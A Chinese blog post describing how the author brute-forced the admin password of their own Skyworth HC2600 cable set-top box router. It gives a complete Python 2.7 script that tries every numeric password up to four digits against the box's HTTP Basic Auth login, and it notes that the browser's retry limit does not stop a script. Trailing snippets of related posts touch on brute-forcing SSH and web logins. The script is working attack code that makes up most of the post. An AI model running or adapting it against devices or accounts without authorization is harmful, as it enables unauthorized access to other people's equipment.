[小技巧] Python 脚本暴力破解 HC2600 机顶盒管理密码

家里最近接入了广电有线电视,配了三个创维 HC2600 机顶盒,并且每个机顶盒还带有无线路由器功能。

免费赠送 Internet 接入服务倒也没什么,不过机顶盒内置的 WIFI 实在有点寒酸:只支持 2.4 GHz 频段下 802.11n 150 Mbps 速率的传输。2.4 GHz 频段本来就很拥挤,用户体验并不好,要是和支持 802.11 ac 的双频无线路由器混用的话,恐怕反而会因为干扰起到反作用。

然而要对 HC2600 机顶盒作任何配置修改,都需要管理员密码。网上搜索到 HC2600 的管理员用户名貌似是 admin (后来证实也的确如此),但是密码则无法确定。

所以我就编写了一个 Python 脚本进行暴力尝试。破解步骤如下:

首先把电脑通过网线连接到机顶盒的 Ethernet 接口,电脑会通过 DHCP 自动获取得到 IP 地址。

然后安装最新版的 Python 2.7,并且新建一个文件 tvbox.py 输入以下内容:

import base64, socket, urllib2

def login(url, username, password):
    while True:
        try:
            request1 = urllib2.Request(url)
            response1 = urllib2.urlopen(request1, timeout = 2) # 2 seconds
        except socket.timeout, e: # timeout handler for Python 2.7
            print "Login timedout"
            continue
        except urllib2.URLError, e:
            if e.code != 401:
                raise
            else:
                break

    while True:
        try:
            request2 = urllib2.Request(url)
            base64string = base64.encodestring(‘%s:%s‘ % (username, password)).replace(‘\n‘, ‘‘)
            request2.add_header("Authorization", "Basic %s" % base64string)
            response2 = urllib2.urlopen(request2, timeout = 2) # 2 seconds
            return True
        except socket.timeout, e: # timeout handler for Python 2.7
            print "Login timedout"
            continue
        except urllib2.URLError, e:
            if e.code == 401:
                return False

def main():
    for length in range(1, 5):
        end = 10 ** length

        print "Trying length %d (start = 0, end = %d)" % (length, end)

        for i in range(0, end):
            pattern = "%%0%dd" % length
            password = pattern % i

            if login("http://192.168.99.1", "admin", password):
                print "Password found: %s" % password
                break
            else:
                print "%s" % password

main()

上面的文件中,假定机顶盒中路由器的地址是 192.168.99.1,如果你的配置不同,需要修改  tvbox.py 中第 41 行代码。

确定无误后,运行 tvbox.py 即可。

上面的脚本尝试了 0-9、00-99、000-999、0000-9999 这 11110 个纯数字密码,目测破解速度在每秒 100 次左右。

PS:如果使用浏览器尝试登录,密码错误三次后需要刷新才能继续尝试。这是浏览器设定的限制,使用脚本的话并没有这样的限制。

……

结果出乎意料,很快密码就出来了:0000,多亏了安装人员图省事。要是真的要扫遍 8 位纯数字密码的所有可能性,恐怕要花十几天。

小提示:上面的脚本只适用于 Python 2.7,如果你用的是其它版本,可能需要对代码做少许修改。

时间: 2024-10-14 13:07:17

[小技巧] Python 脚本暴力破解 HC2600 机顶盒管理密码的相关文章

暴力破解sshd服务的密码的小技巧

暴力破解sshd服务的密码的小技巧 准备环境   1:在虚拟机上准备一台XP系统   2:开启两台Linux系统 超级管理员为root 密码为 123456       192.168.1.63  密码 123456       192.168.1.65  密码 123456 注:找来的破解软件,肯定被编写者留下了后门,所以为了便于安全和测试,我只能用虚拟机上的XP系统和Linux系统来进行测试,Linux系统上的账号密码都设置简单点,便于快速出现结果.                     

linux下,shell脚本暴力破解用户名和密码

由于一些注册用户帐号有规可循,而通常人们的防范意识较差,密码相对简单,对用户名进行常见密码的登录测试,达到破解密码的目的.仅供学习之用,请勿用于非法用途.代码做了部分修改,无法正常运行,测试需要根据实际需要修改代码,另外对密码安全问题一定要足够重视. 设计思路: 通过抓包工具截获http数据包,分析数据包(表单)中具体信息格式 分析用户名直接的逻辑关系,构造用户名 利用 curl 工具向指定登录网站模拟发包 对返回结果进行分析,若登录成功则破解成功 代码见链接: http://www.oschi

[小技巧]python利用反射实现函数内静态局部变量

def func(): if not hasattr(func, '_value'): func._value = 0 # 初始化“静态局部变量”_value func._value += 1 print(func._value) # 测试 for i in range(10): func() 原文地址:https://www.cnblogs.com/qyxfzmbz/p/12348303.html

暴力破解wordpress后台管理员密码

内容开始迁移,精力集中到自己博客 http://www.rcdisk.com/index.php/group/topic/id-30

python 暴力破解密码脚本

以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的, 假设要暴力破解登陆网站www.a.com 用户 testUser的密码, 首先,该网站登陆的验证要支持 无限次的密码尝试 假设testUser 的密码为 6位的纯数字 1:先长成 6位纯数字密码字典 import os pds=[] rg=range(0,10) for first in rg: for second in rg: for three in rg: for four in rg: for five in rg:

AOPR快速破解Office文档密码的三个技巧

Advanced Office Password Recovery是一款专业的Office密码破解工具,AOPR软件并不复杂但是可以在极短的时间内轻松破解Excel2013或者Word2016的密码.本文将具体介绍几个在使用Advanced Office Password Recovery破解Office文档密码的技巧.  Advanced Office Password Recovery密码破解工具 技巧一:估计Office文档密码特点 为了尽可能缩短Advanced Office Passw

我是如何破解你的WINDOWS密码的 ?(2)

介绍 在这个系类的第一部分中,我们揭示了windows创建和储存密码的机制.我们也涉猎了一点两种加密方法的弱点和破解的方法.在这系列的第二篇也是最后一篇文章中,我会实战用网上免费的工具一步一步的来破解一次密码给你看. 注意!以下这些技术只为学习目的,请勿用于非法用途!   获取密码HASH 为了破解密码你应该先获取密码在windows中储存的位置,这些hash储存在windows在SAM文件中,这个文件在C:\Windows\System32\config不过在windows启动时这个文件是不能

SaltStack与Python配合实现系统用户自动化管理

背景需求: 随意业务的发展,服务器数据也是越来越多,开发人员,运维人员也是越来越多.这时候如果有大量的人需要登录到服务器的话,那么我们就很有必要对用户进行管理.传统的方式是登录到每台服务器创建一个用户,工作重复性太大,如果有 1000台怎么办?甚至有的公司用户都不创建直接让所有人以root登录,这样更危险!!!,那么聪明一点的运维人员会写个创建用户的脚本来实现半自动化的创建用户.这些方法都不适合管理大批量的机器,接下来给大家带来其于SaltStack和Python脚本实现的自动化用户管理. 实现

利用Python自动生成暴力破解的字典

Python是一款非常强大的语言.用于测试时它非常有效,因此Python越来越受到欢迎. 因此,在此次教程中我将聊一聊如何在Python中生成字典,并将它用于任何你想要的用途. 前提要求 1,Python 2.7(对于Python 3.x的版本基本相同,你只需要做一些微小调整) 2,Peace of mine(作者开的一个玩笑,这是一首歌名) 如果你用virtualenv搭建Python开发环境,请确保已经安装了itertools.因为我们将会用到itertools生成字典.我们将一步一步地演示